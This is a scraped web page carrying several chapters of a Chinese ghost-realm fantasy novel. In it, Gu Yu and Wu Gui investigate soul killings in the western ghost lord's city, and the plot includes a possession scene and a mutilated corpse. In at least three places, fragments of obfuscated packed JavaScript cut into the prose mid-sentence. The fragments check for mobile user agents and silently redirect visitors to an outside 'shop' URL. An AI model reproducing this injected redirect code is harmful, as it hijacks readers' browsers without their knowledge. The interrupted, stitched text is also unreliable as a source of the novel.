RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾屿:“……”呵呵呵,那我祝你上路,祝你全家都上路。 燕鹤青若有所思地瞧向他,忽而又开口说道:“此去艰险。顾公子只身前往十二城,恐有诸多不便。不如让乌归与你同行,如何?” 顾屿长叹一声,半死不活道:“……挺好。”挺好,大不了一起毁灭吧。 而后几日,乌归哭天抢地,大义凛然地表示自己还想作为鬼多活几年,恳请顾屿不要恩将仇报,见利忘义。 顾屿无奈摊手,表示不关己事,自己也懒得解释。 不料消息一不小心传到北鬼主耳中,于是当天众鬼侍就请乌归去监牢里喝了半天茶。 等到乌归再出现时,第一时间当着众人的面发誓赌咒,明确表示自己绝对要对顾屿负责到底。 顾屿态度不明地默默听着,又默默地喷了一地的茶。 万事俱备,只欠东风。 9. 客栈 忘川渡口。 鬼域修罗道中独独此处无昼夜之分,上空始终呈现出死寂般的烟灰色。 下方的忘川河中堆积了泛着磷磷青光的骸骨,风过处便有万鬼号哭的声响。 寻常日子里,哪怕是已经死过一次的鬼也对其避之不及。但是此刻除外。 此刻渡口处泊了一叶残破孤舟。头戴斗笠白发白须的船夫佝偻着身体,面容老态龙钟,一动不动沉默着站在岸上。 远远看去,犹如一尊被岁月侵蚀风化的雕像。 顾屿穿着布衣同乌归站在一处,默默看着那渡口边的情况。 今日渡口倒是出人意料地热闹,断断续续已聚集了不少鬼,吵吵闹闹嚷嚷着让船夫送他们过河。那船夫却是视若无睹,依旧平静地站在原地。 顾屿见状,悄悄用手肘碰了一下乌归,试探着问道:“元兄,你看那渡口处已聚集了那么些人,为何那船家还不开船?” 乌归往后躲了躲,言简意赅道:“规矩。” 面上愁眉苦脸,语气中尚有余怒未消,显见是还在记仇。 顾屿见他不愿多言,也不好再问。心知乌归仍心怀怨怼,乖觉闭嘴。 渡口边的鬼越聚越多。乌归皱眉盯着众鬼,等到某一刻,伸手一拉顾屿衣袖,低声道:“跟我走。” 顾屿稀里糊涂地跟上去,看着乌归一路走一路拨开众鬼,很有底气,很没有素质地插队到白发船夫眼前。 而后乌归转身面向怨气冲天叫骂不休的诸鬼,手执城主令,平静道:“诸位莫怪,在下奉北鬼主的命令来此。我虽不愿如此行事,奈何君令难违。望诸位体谅。” 顾屿一面憋笑憋出内伤,一面相当努力地捧场:“……他说得对。” 乌归赞许地瞟了他一眼。众鬼一时哑口无言。 那船夫面上掠过一丝阴影,咳嗽两声,低声道:“既如此,那就二位先请吧。” 顾屿同乌归上了小舟,船夫撑起长篙,将小舟向忘川河中心划去。 顾屿站在船头,看着越来越远的河岸,心中莫名竟生出一丝惆怅。 他回头看了看乌归,发现他正凝视着忘川,眼神中透露出些许玄妙的忧伤。却又在发觉顾屿看向自己时,转瞬即逝。 顾屿觉得是自己看错了。 随着小舟渐行渐远,两人的身影消失在了茫茫的忘川河中。河岸边诸鬼炸开了锅,纷纷对可亲可敬的北鬼主致以亲切问候。 一时间狼心狗肺,狼狈为奸,狗仗人势,鸡鸣狗盗,一丘之貉等词纷至沓来,绕梁三日,不绝于耳。 北城鬼主府内,燕鹤青打了个喷嚏。 忘川河水无声流淌,不知过了多久,小舟缓缓靠近对岸。 顾屿忍不住开口打破了一路的沉默:“元兄,你方才……在看什么?” 乌归微微一愣,转头看向他,眼中闪过一丝不易察觉的慌乱,“没什么,只是这忘川河中的水,让我想起了一些往事罢了。” 他顿了顿,又道:“顾公子初来乍到,不知可曾听说过这忘川河里的水,其实就是世间众生的执念所化。每一滴水,都承载着一个无法释怀的过往。” 顾屿摇摇头。燕鹤青在初见他的时候,便明确告诉了他,凡死后不入轮回,坠入鬼域修罗道者皆因心中尚有执念未消。 顾屿当时不以为然,只觉自己活得潇洒,死得畅快,心中并无执念。至今也倔强地认为是那天命出了差错。 乌归深深地看了一眼忘川河,苦笑着说道:“不知道也好。有时候,执念太深,便会成了束缚人心的牢笼。” 说话间,舟已停泊在了另一渡口。乌归向船家付过银钱,同顾屿一道向岸上走去。 沿着道路行过五里,自林中隐约可窥见城门。道旁枯木成林,夜枭成阵。 与忘川渡口渐行渐远,天色渐亮,二人这才发觉时已日暮。倦鸟归巢,偶尔迎面遇上的鬼魂亦是行色匆匆。 顾屿有些心累,茫然地眯着眼看向远处城门隐约的轮廓,又看向身边人,泄气道:“元兄,究竟还有多久才能到城中?” 乌归双手持着一份破旧的地图,耐心查看着路线,很是熟练地敷衍道:“快了快了。” 半刻钟后。顾屿气息奄奄地艰难抬头,只见面前城门锈迹斑驳,底处爬满了藤蔓。铜环上金漆脱落,显出内里刺眼的白。 乌归深吸一口气,伸手扶住顾屿,道:“此地是西城鬼主所辖三城之一,名曰大城。居妒恨之鬼。” 顾屿此时缓过些许,觉得自己方才可能是听错了,忍不住又向乌归问道:“元兄,那个,你方才说什么?这城叫什么来着?” 乌归很有耐心地重复了一遍:“这城就叫大城。怎么了?” 顾屿:“……好随意的名字。那莫不是还有二城和三城?” 乌归闻言惊讶地看向他,慢吞吞道:“西鬼主所辖另外两城确实就叫二城和三城。这城名极其生僻,顾公子是怎么知道的?” 顾屿尬笑道:“猜的,都是瞎猜的。” 不是,谁家好人给城起名叫大城二城三城啊……这西鬼主真奇人也。 乌归点点头,亦不再追问。走上前去伸手轻扣铜环,城门应声而开。顾屿与他并肩步入城中。 城中街道狭窄而蜿蜒曲折,两旁的房屋紧密排列在一起,给人一种局促之感。 在路上行走的鬼魂们面色阴沉,眼神极尽哀怨,仿佛背负着无尽的怨念。 乌归带着顾屿穿过一条条狭窄的街巷,终于来到了一座宏伟的府邸前。乌归走上前去,轻轻敲了敲门。 片刻之后,门缓缓地打开,一个黑衣老者出现在门口。黑衣老者面容冷峻,目光如炬,上下打量着乌归和顾屿。 "你们是何人?寻至府中又有何事?"黑衣老者沉声问道。 乌归连忙恭敬地行礼,“我们自阎浮城而来,有事求见西城鬼主。” 老者皱了皱眉,“西城鬼主岂是你们想见就能见的?” 乌归从袖袍取出一封信递给老者,“这是我们尊主的信件,烦请阁下转交。” 老者接过信,看了一眼后脸色稍霁,“既有北城鬼主的亲笔信,那你们进去吧。” 乌归和顾屿道过谢后,随老者入了府邸。 与北城鬼主府不同,西城府邸内部的装饰极尽奢华。 紫泠石作基,巍峨大殿平地起。日光下萦绕浅紫光晕。风动时,便见暗色帐幔翩跹若舞。四周遍植灵木,荫蔽遮天。 他们跟随着那位老者穿过弯折蛇形的长廊,最终行至大殿。 殿内廊边燃着青幽灵焰,暗紫帐幔中,似乎自成一方天地。老者停下脚步,示意他们在此等候。 顾屿心中有些不安,向乌归问道:“元兄,这西城鬼主是个什么样的鬼啊?” 乌归揺摇头,道:“西城鬼主行踪难测,外貌亦是随心所欲千变万化。坊间关于他的传闻虽多,但真假难辨。我亦不甚了解。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“无妨。”乌归摆摆手,“我们长途跋涉,疲惫不堪,只想早点休息。” 客栈老板有些畏惧地缩了缩身子,双目空洞,口中喃喃重复:“都住满了,不行,不行。” 顾屿心觉不对,同乌归对视一眼。佯作无奈地叹息一声,起身欲走,又趁其不备反手将客栈老板敲晕。 乌归将客栈老板拖至柜台后,与顾屿上楼询问是否有人愿意同住。 终究是财帛动人心。在乌归将出价提至十倍房钱时,一只胖胖的富商模样的鬼终于松了口。表示自己素来慈悲为怀一心向善,愿意大发善心与二位同住。 顾屿与乌归哑然失笑,将银钱付清,入了客房。和衣而睡,一夜好眠。 翌日一早,天光尚只微亮。楼下传来惊恐的喊叫,客栈内诸鬼齐齐咒骂出声,又抵不住好奇心,皆是推开屋门下了楼。 顾屿同乌归被挟裹在众鬼中,行至柜台前。 一眼望去,只看到一名面色惨白,墨发披散的女子正瘫软地坐在冰冷的地面上,身体不受控制地持续颤抖着,仿佛被一股无形的恐惧所笼罩。 而在距其不远处,一颗鲜血淋漓的头颅孤零零地躺在那里,双目圆瞪,面色惊恐,正是客栈老板。 他的四肢已被啃噬得破碎不堪,随意地扔在了一旁。除此之外,身躯已完全消失不见,取而代之的是一片触目惊心的乌黑干涸血迹。 血迹从中向四周蔓延开来,此时边缘已笼罩了一层薄薄的黑烟,是身死魂灭的征兆。 这客栈老板,死去已久。 10. 银钱 阎浮城。迷津渡。 月夜。迷津中巨浪翻涌,瘴气弥漫。岸边阵法密布,形似虎豹的恶兽嘶吼声不绝于耳。 时近满月,结界趋于薄弱。一众怨鬼虎视眈眈,匿于林中暗处,正欲伺机而动。 叶泠立于迷津边,单手抱剑,红衣飒然。 她四下环顾一圈,在心中默默数了数今夜来此的怨鬼数,面上浮现一抹笑意。 又抬头向树上斜倚的人瞥了一眼,笑意立减。暗中传音道:“这些怨鬼全部归我,你不许插手。另外先说好,一只鬼一两银。不讲价,不可拖欠,杀完立刻付款。懂?” 燕鹤青整只鬼瘫在树上,双目紧闭,似听非听,似醒非醒地哼了两声。 叶泠便只当她已默认。 空中明月高悬,边缘却被些许阴云遮蔽,尚未臻至圆满。困于迷津中的恶兽久等此刻,叫声逐渐凄厉,挣扎着扑向结界薄弱处。 利爪一挥,瞬那间结界破绽百出。恶兽嘶吼一声,纵身欲出时,岸边阵中忽而金芒大盛,道道金光化作束缚牢笼。那恶兽顿时动弹不得。 叶泠唇角微勾,眸中泛出些许寒意,从容不迫拔剑出鞘,朗声道:“事已至此,我亦等在此处已久。诸位又何必再躲藏遮掩,不如一起上吧。” 枯木林中黑雾翻涌,隐约可自其间窥见些许或青面獠牙或苍白浮肿的鬼脸。 叶泠面上神色淡漠,决意于此时装瞎,手中灵剑泛出血样的暗红光泽,似是因即将到来的杀戮而兴奋地发抖。 叶泠安抚地握紧手中剑,虚虚挽了个剑花,眸中红光一闪而过。而后身形没入黑雾,刀光剑影相交间,魂魄泯灭声不绝于耳。 短短一刻,诸多怨鬼尽数歼灭。余下小鬼四散奔逃。 叶泠站定转身,抬头正欲向树上安眠的燕鹤青讨要银钱。却见故人无踪,不速之客未请已至。 月白风清,正值良夜。千辞此次并未束冠,只著了身月白常服,玉簪横插,墨发披散,眉眼间是浸透了千万年霜雪的冷淡。 叶泠镇定地看着他,沉默片刻,行至千辞身边,一把扯过他的衣袖,冷声道:“燕鹤青,虽然你现在变的样子很好看,但不要妄图用这种方式逃避应付给我的银钱。” 千辞的目光从自己被攥住的衣袖缓缓移至叶泠面上,薄唇轻启,坦然道:“姑娘怕是认错了人。在下名千辞,并非北鬼主。” 叶泠显然是不信,仍旧死死盯着千辞的脸,试图从他的表情中找出一丝破绽。 距离被不自知地拉近。千辞微微垂眸,无奈轻声道:“姑娘,在下真的不是北鬼主。你……若实在不信……在下也没有办法。” 叶泠默默松开手,开始沉思。沉思过后开始觉悟,我去,燕鹤青又这么不声不响不负责任还不给钱就跑了?下次见面一定一定得揍她一顿出气。 觉悟过后,后知后觉的想起自己方才的所做所为。叶泠在心中赞叹了自己一句真有种,而后转身就跑。 千辞眼疾手快一把抓住她的手腕,是挽留的意思。 叶泠此时莫名紧张,犹豫半晌还是开不了口,甩不开手,迈不开腿。双方于无言中达成了某种和解。 迷津渡旁的屋舍内。千辞目光复杂地将屋内仅存的器具上下打量了一番,得出了面前鬼是真的穷的结论。 叶泠有些尴尬,轻咳一声道:“屋舍简陋,让公子见笑了。” 千辞收回目光看向她,不紧不慢地说道:“我们之前应当见过了。叶姑娘。” 叶泠觉得自己脑袋中的某根弦“啪”地一声断掉,平静道:“……有吗?” 千辞道:“我此行本是来寻北鬼主有事相商。奈何北鬼主似乎对在下有所误会,屡屡避而不见。听闻姑娘与北鬼主交情匪浅,有一番话不知可否请姑娘代为转达。” 叶泠闻言颇有些诧异,心知不便多问,低头闷声道:“你说吧,若有空时,我会转达给她的。” 千辞沉默片刻,缓缓说道:“十二城途中有人暗中设险,其幕后主使实力深不可测,绝非鬼域众人可阻。 若北鬼主执意保下此变数,必会酿成大祸。界时凡界鬼域都将不得安宁。当断不断,必受其乱。 北鬼主不如早作决断,寻机将其斩杀。如此守得两界安宁,也是大功一件。” 叶泠将这番话于心间默默记下。 迷津枯林尽头,燕鹤青闭目冷笑不已。 大城的一间客栈乱作一团。一大早一众鬼侍执了兵戈利戟,将客栈围了个水泄不通。 困于客栈中的诸鬼战战兢兢不敢多言。 他们大多是自异城来此地做买卖的经商鬼,剩下的则为身份不明无家可归的流浪小鬼,被老板好心收留住在此处。 顾屿和乌归既非前者又非后者,此时站在众鬼中,处境不免有些尴尬。 不多时,大城鬼侍首领闻讯来了此处。那鬼侍首领面目模糊,身形滚圆。 整只鬼裹在暗色甲胄内,行步缓慢,远远望去犹如一颗过分饱满肥硕的葡萄在艰难滚动。 葡萄首领走进客栈,先四下打量了一番,身上酒气未消,醉醺醺道:“怎……呃,怎么了?” 有先到来的鬼侍上前禀报:“回首领,此地客栈老板于昨日夜间殒命。死状凄惨,凶手不知去向。” 鬼侍首领面沉似水,闭目在原地思索了一阵,又打了个酒嗝,道:“查!查呗!” 候在一旁的鬼侍殷勤地为他奉上一盏茶。 首领接过漱了漱口,再睁眼时不怒自威:“既是客栈老板死了,这客栈内的一众鬼都脱不了干系。 把他们押回去统统拷打一遍,等什么时候招了再放人就是了。” 乌归气得满面通红,上前一步正欲出声阻止,却被顾屿扯着衣袖拽了回来。 他不由得犹疑地瞧向顾屿,后者却兀自沉默垂眸,不肯多言。 众鬼哭天抢地跪倒一片,纷纷喊冤叫屈。 那鬼侍首领面色阴沉,比了个手势。鬼侍们即刻出动,将客栈内众鬼一并押解入狱。 鬼侍们捕了一客栈的鬼的消息很快传遍大街小巷。 城中诸鬼见怪不怪地小声议论,自别城而来的诸鬼则暗自庆幸自己未受牵连,不免开始自得炫耀,说什么我早看那客栈不吉利还好没去云云。 半日后,西城鬼主府。 西城鬼主看着是个文弱书生鬼。穿了身不知哪朝哪代文人墨客的青衫,坐在厅中主座上面色愁苦,唉叹连连。 黑袍老者站在他身侧,目光锐利似鹰隼,纵然已是须发皆白,满面沧桑也不难窥见昔日神采。 左侧玉阶下,顾屿身上衣物被撕扯得破破烂烂,头上不知从何处沾了几根茅草,整只鬼鼻青脸肿,瞧着甚是凄惨。 乌归也没好到哪儿去,双手抱臂站着,披头散发,状若疯颠。 二人脸色一个比一个差,面上明明白白写着六个字:请给我个解释。 西城鬼主叹息许久,犹豫着开口道:“此番是城中鬼侍首领行事过于莽撞,让二位受苦了。不如……不如本尊代那首领向二位赔个不是?” 话音刚落,便被黑袍老者斩钉截铁一口否决:“尊主贵为一方鬼域之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340296|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主,怎可这般低声下气?何况错不在尊主。既是那鬼侍首领做错了事,那就唤他来亲自向这二位赔不是就是了。” 西城鬼主整只鬼一下就蔫了下去,眸色倏忽黯淡,声音也愈发小了:“先生英明。” 顾屿同乌归对视一眼,心中均是诧异不已。未曾想到这西城鬼主竟是个软弱无能之徒,大权旁落,对那黑袍老者言听计从。 如此看来,倒也难怪那鬼侍首领行事张狂,有恃无恐。 黑袍老者拊掌三下,有鬼侍应声而来。得了命令后不过半炷香的时间,便将那圆滚滚的鬼侍首领带到此处。 那鬼侍首领一进来便叩头如捣蒜,对着西城鬼主痛哭流涕,口口声声求尊主饶命。 西城鬼主见此情形,一时不免有些手足无措,转头看向黑袍老者求助。 黑袍老者眼神犀利,喝令鬼侍首领起身,质问他为何不分青红皂白对众鬼滥用私刑。 鬼侍首领一时有些怔愣。心中嘀咕自己今日心情甚佳多喝了几杯,尚未来得及用刑逼供那客栈诸鬼,怎得如此大张旗鼓训问。 但此刻又不好辩驳,眼珠一转,俯身跪地哀泣道:“尊主明鉴,属下实在不敢。 想是手下那些小鬼私自用刑,不知得罪了哪位大人,属下束下不力,管教无方。尊主说得对,属下确实该罚。” 一句话,错是属下的下属犯的,责任是属下亲自背的。心甘情愿放下身段为下属背锅,属下可真是万里挑一的好属下。 顾屿:……果然人不要脸则天下无敌。 这首领的脸皮怕是金子炼就,毕竟真金不怕火炼。说了这般谎话依旧面不改色心不跳,真神人也。 西城鬼主却似乎不在意这话是真是假,微微松了口气,不痛不痒地训斥了鬼侍首领几句,责令他放了狱中诸鬼,并亲自给顾屿和乌归道歉。 鬼侍首领道谢起身四下看了一圈,这才发现那角落里还站了两个乞丐。 他咬牙切齿,目露凶光地径直走过去,“扑通”一声跪在二人身前,哀泣道:“小人有眼无珠,放任下属打伤二位大人,小人在这给二位大人赔个不是。万望大人们宽宏大量,饶恕小人吧。” 他自认姿态已是放得极低了,寻常鬼此时多半会顺水推舟说什么无妨无妨来展示自己的气量。 奈何顾屿做人时就不是个正常人,如今做了鬼更不是寻常鬼。 只见顾屿以手掩面哀怨道:“首领这番赔罪,顾某怕是担不起。顾某本就一贫如洗,平日里勉强靠脸维持生计。 如今去了一趟首领狱中,这张脸怕是一时半会好不了了。首领与其在这里说这些空话,倒还不如发发善心舍些金银给顾某。 若首领救顾某一命,顾某来生必做牛做马报答您。” 此言一出,殿内诸鬼齐齐低头憋笑。乌归摇头闭眼,决定先寻个地缝钻进去保住自个儿的脸面。 那首领虽也觉得意外,倒也还是从善如流道:“好说,好说。不知顾大人想要多少金银?” 顾屿真诚道:“顾某凭着这张脸一日可赚一千银,如今被损毁没个两三月好不了。首领看着给就是了。” 首领听了想吐血。忍了又忍表示回去再掏掏老底三日内奉上金银。 顾屿表示我信你但你还是先当着你们尊主的面发个誓。 首领咬牙应下,转身离去。 待他走后,西城鬼主再次向顾屿和乌归表示歉意,并承诺会好好管教下属。 顾屿却忽而敛起笑意,上前正色道:“尊主可知,这大城中频频有魂魄于夜半殒命并非偶然?” 11. 千金诺 西城鬼主府。 主座上西城鬼主认真的点了点头,诚恳道:“这个我知道。” 黑袍老者半是诧异半是欣慰地看了他一眼。 西城鬼主顿时倍受鼓舞,再接再厉地说道:“我城中众鬼一向安分守己,平日里绝不会起争斗之事。 这几日消散的魂魄是多了些,想来是执念已消,重归天地四方。 这实在是天大的好事。理应让其余诸鬼多学习他们的释怀精神,早日离开此城。” 未经世事打磨过的天真是可耻的。 顾屿看向他,一时竟不知道该说什么。 在这位西城鬼主眼中自己的城域绝无动乱凄惶,身边人为他精心打造了独属于他一人的祥和太平盛世之景。 乌归上前一步,正欲开口表述实情。 那黑袍老者却一挥袖,厉声喝道:“尊主乏了。今日事已毕,你们二位还不退下。” 西城鬼主被吓了一跳,面色惨白手足无措地瘫在座上。 殿门处守卫的鬼侍一拥而上,手持利戟将乌归同顾屿赶出殿外。 时已至黄昏。天边残阳似血。顾屿慢吞吞地沿着九曲十八弯的街巷走着,生平第无数次感到泄气。 二人本就青肿的脸上露出愁眉不展的怪相,吓得沿途碰上的小鬼倒吸冷气,从原地倒退了三里。 乌归满面沧桑,一言不发地跟着他。心中虽想劝慰,开口时又不知从何说起。 二人漫无目的沉默地走在行色匆匆忙着归家的诸鬼中,更显得衣衫褴褛,格格不入。 路上不时还要迎来几个白眼,一声唾弃。年纪轻轻身强力壮地做什么不好,非要做乞丐。 不知走了多久,顾屿停在了一处废弃的屋舍前,半死不活地开口道:“元兄,你有没有经常觉得自己特别倒霉?” 乌归愣了一下,迟疑说道:“这个……没有吧。” 脑海中忽而灵光一闪,看向顾屿兴奋地问道:“顾公子是不是发现了什么端倪,莫不是咱们被什么能让人倒霉的物件缠上了?” 顾屿看着他莫名兴奋的脸,默默掐断了想同眼前人探讨一下人生哲理的想法。 顾屿叹了口气,摇了摇头:“天快黑了,那城主先前不是说入夜后不得在外逗留么。眼下寻不到客栈,先进这间旧屋躲躲吧。” 乌归点头应下,二人一同入了屋。乌归手中燃起青绿灵焰,将屋内照亮些许。 只见屋内蛛网密布,尘土飞扬。显然已荒废许久。中央摆放着一张破旧木桌,两侧座椅东倒西歪,已然裂开。 顾屿走到桌前,用手拂去上面的灰尘,坐下身来。乌归则在屋子四周查看是否安全。 “这屋子看起来倒像是以前谁家祭祀用的祠堂。只是不知为何废弃了。”乌归喃喃自语道。 顾屿疲惫地靠在椅背上,闭上双眼。 短暂的安静后,乌归的声音再次响起。 “顾公子,你说那西城鬼主真像他表现出的那般天真吗?还有那黑袍老者,总觉得他们没那么简单......” 顾屿没有睁眼,只是淡淡地回了句,“天亮后我们再去探探虚实。” 二人陷入了新一轮沉默。 夜越来越深,屋外狂风大作。 乌归找了些干草,在角落里铺好,“顾公子先休息吧,我守夜。”顾屿确实累了,应了声便沉沉睡去。 乌归静静地坐在干草上,注视着顾屿。此刻顾屿面上青肿已消了大半,尽管面容憔悴,依然难掩其俊朗。 明明只是刚过弱冠的年纪,在该骑着马满长街肆意招摇的时候却要担起什么天命变数,费尽心思同那些几百岁的老鬼争斗。 想起今日殿内发生的一切,以及前路未知的艰险,乌归心中暗暗下定决心,虽然这小子有时候很混蛋。但无论为公为私,自己一定要护他周全。 夜色愈来愈深,天上无明月,屋外仍旧狂风大作。寒意自破旧的房门窗棂见缝插针地侵入屋内。 乌归被冻得头脑清醒,四肢僵硬。好不容易缩在角落里缓过些许,正准备设下结界阻风保暖,却听见屋外有声响传来。 待乌归凝神去听时,屋外又安静下来。 顾屿不知何时醒了过来,轻轻走至乌归身边示意他不要出声。 而后行至窗边,透过破损处往外看,冷不妨对上了一双血色眼眸,中有金色竖瞳,嗜血的欲望同虚妄幻影交织。 与之对视的一瞬间,顾屿只觉自己已登赴极乐之境,周遭万物皆为子虚乌有,唯有内心澄明如镜是真。 脑海中一个低沉的声音缓慢响起:“……来吧,为吾奉上你的魂魄,吾将带你永赴极乐……动手吧……吾会帮你了结这虚妄的一切……舍弃你的不甘与怨念……动手啊!” 乌归看着顾屿镇静自若,只当外面没什么事,于是说道:“这屋外既没事,夜色亦深沉,顾公子还是再休息一会儿吧。” 顾屿转过头来,面上浮现出诡异而又满足的微笑。下一刻手中骤然幻化出利刃,贯注灵流,狠狠劈向了自己的手臂! 乌归见状大惊,慌乱中寻不到东西阻止,千钧一发之际自怀中随手摸出一件坚硬物件,不及看清便掷向了顾屿手中利刃。 只听“锵”地一声,那利刃同那坚硬物什碰撞在一处。顾屿手臂被震得发麻,再握不住利刃,只能任由它同那硬物双双坠地。 乌归扑了过去,手脚并用勉强压制住了顾屿,心有余悸地冲他吼道:“你小子又发什么疯要砍自己的手,你不要命我还想要! 别装个丧气死样,你以为全天下就你一只鬼难过吗? 入这修罗道的谁不是辛苦熬过来的,什么执念未消,不过就是活着的时候活得太憋屈了,死后才晓得不甘心……” 乌归声音忽而又小了很多,满面愁苦地看向顾屿,轻声道:“但是你看你还年轻啊,你还有重来的机会。何必像我们一样沉沦此间做个满怀执念的怨鬼……活着多好啊……” 顾屿被他压制得动弹不得,头脑昏昏沉沉,一时也记不起自己方才究竟看到了什么,又做了什么。只闭目胡乱点头,想要先休息一番。 乌归见他点头答应,不由得又高兴起来,伸手在他胸口上擂了一拳,豪迈道:“好小子!可得给我好好活着啊!” 顾屿被他打了一拳,因疼痛居然渐渐清醒过来。睁开眼示意乌归先放开自己。 乌归照办,但仍在一旁警惕地盯着他。 顾屿有些哭笑不得,也懒得同他解释自己不想死,俯身拾起利刃和那坚硬物什。 硬物触手冰凉,顾屿想起方才自己的利刃同其相撞竟没将其损伤分毫,心中有些好奇。 手中燃起灵焰,借着光亮看去,原是一枚通体乌黑,刻有繁复花纹的令牌。令牌中央一个“浮”字,在火光下泛出幽紫光晕。 乌归一拍脑门,“哎呀”叫了一声,而后道:“是城主令啊,这玩意儿用万年玄铁铸就,刀劈不坏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340297|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水火不侵。难怪刚刚能挡下你那利刃杀招。” 顾屿将那令牌翻来覆去看了几遍,忽而问道:“修罗道中各城都有城主令吗?” 乌归道:“怎么可能?万年玄铁何等罕见,这令牌统共也就铸了四块。分别在四方鬼主手中,用以调度鬼侍或战时求援。” 他一边说着一边伸手要将城主令拿回来。 顾屿将令牌递给他,眉眼间久违地现出少年气,唇边浮现出一抹狡黠笑意:“元兄,我想我们得再去一趟西城鬼主府了。” 阎浮城。北城鬼主府。 听雨阁内,燕鹤青不紧不慢地执黑子同眼前人对弈。 不多时,棋盘上便是攻守易势。燕鹤青扔下手中棋子,见怪不怪道:“我输了。” 棋盘对面的人周身笼在影影绰绰的白雾里,面容亦是模糊看不清。 燕鹤青心知那白雾下是张同自己一模一样的脸。只可惜永远也不会有人知晓了。 就连四处巡察往来的鬼侍能见到的也只是鬼主大人在自己同自己对弈而已。 白雾中笼着的人影轻笑一声,声音缥缈似从极远处传来:“你同我下棋从来都没赢过。” 顿了顿,又下了定论:“下了几百年棋,到头来竟还是个臭棋篓子。” 燕鹤青淡定扬手把棋盘掀了。 黑子白子噼里啪啦落了一地,混在一处又蹦到了各处角落里。 白影笑吟吟地看着她,仍旧不惊不恼:“脾气也还是不好。” 燕鹤青也懒得同她装什么友善大度,眸色幽深,面无表情道:“你来这儿究竟是想做什么?” 那白影幽幽叹息一声,单手支颔,微微探身向前,低声道:“自然是为了我落在此处的这具魂魄躯壳了。北鬼主大人应当还没有忘记自己现在的样子是怎么来的吧?” 燕鹤青皱眉看向她,冷声道:“千金不换的承诺,我已经给过你了。 千年后归还魂魄的条件,你也答应了。更何况斩神誓已立,一旦破誓必受天雷焚身。 如今你千里迢迢自冥王身边赶回来,难道就只是为了要毁约受苦吗?” 白影一怔,旋即又拊掌笑道:“你说的我自然都懂。我也没打算现在就拿回这魂魄躯壳。 今日来此,只不过是要请鬼主大人先行兑现那千金一诺罢了。” 燕鹤青静默地听着,苍白指节屈起有一搭没一搭地敲着木桌边沿。手腕上赤红珠串随着敲击节奏轻晃,半晌才道:“说。” 那笼在白雾中的女子微微一笑,站起身行至燕鹤青面前,而后俯身在她耳畔低语道:“你应顺应天命行事。陪在那只小鬼身边,不是么?” 轻柔低语,石破天惊。 那白影直起身,唇畔笑意不减:“这就是我要你兑现的承诺。 这件事一来并不伤天害理,二来也没有强人所难惊世骇俗。鬼主大人,可还满意?” 燕鹤青垂眸,把一切激荡不宁的心绪都掩盖在了波澜不惊的表皮下。 再抬眼看向那白影时,面上已然又是一派高深莫测,平静答道:“我答应你。” 笼于白雾中的女子似是早就料到燕鹤青会答应,此刻见目的已达到,语气微凉道:“既如此,那就请鬼主大人尽早出发吧。” 言毕身形逸若飞雪,向前飘移些许。 却又不知想到了些什么,忽而停了下来,转身不甚规矩地向燕鹤青行了个礼,俯首低笑道:“盼君无恙,早归。” 12. 鬼主墓 天色欲晓时,大城中死了个鬼。 这次死鬼的尸身是四肢头颅不见影踪,只余下身体躯干。 死鬼倒在隐蔽街巷中,身上衣裳破烂不堪,一旁被打翻的残破瓷碗中散发着股股恶臭。 也许只是个在城中以乞讨为生的普通穷鬼。 圆滚滚的鬼侍首领率领一众鬼侍,在七拐八弯的街巷中精准找到这穷鬼残魂的所在处。 略微靠近些,恶臭气息便扑面而来。首领捂着口鼻,摆摆手示意手下人去收拾残局,心中暗道一声作孽啊。 自从那不知从哪方鬼域冒出来的黑袍老者同自家尊主闲谈一番,被请入西城鬼主府作了先生后,这城中便开始陆陆续续发生鬼魂消散的惨案。 这些魂飞魄散的倒霉鬼除了死状尽皆凄惨外,并无相同之处。开始时这惨案还只是每月一桩,后来逐渐到半月一桩,到如今竟变成了每日一桩。 城中诸鬼人人自危,平日里干脆大门不出二门不迈,生怕一个不小心就死在了某条街巷中。 商铺没法开张,酒也买不到,首领一时很是头大。没了借酒浇愁的幌子,他不得不清醒地担着这巡察捉犯人的职责。 明知有些事查不到,查不得,查到了也得闭眼装瞎,但面对城中幸存的诸鬼的信任与殷切期盼,终究还是拗不过自己清醒时仅存的良知。 首领叹息一声,见手下鬼侍已将街巷收拾干净,袖袍一挥朗声道:“诸位,如今此城中命案频发,人心惶惶。 我等需加派人手巡查四方,早日揪出真凶,还大家一个安宁。今日之事,绝不可大肆宣扬!烦请诸位闭口不谈。” 众鬼侍齐声应是,随后四散而去,各自巡察。 首领暗自摇头,心中无奈更甚。他总觉得这事处处透着诡异,却又无迹可寻,但愿一切只是他的多想罢了。 转身正准备离开,忽地瞧见街角有一道黑影一闪而过。 “谁!”首领低喝一声,飞速追了上去。然而那黑影速度极快,眨眼间便失去了踪影。 首领站在原地,眉头紧皱,若有所思。忽听头顶上传来轻笑,声音似男似女。 他循声望去,猝不及防对上一双血色眼眸,于顷刻间失去知觉。 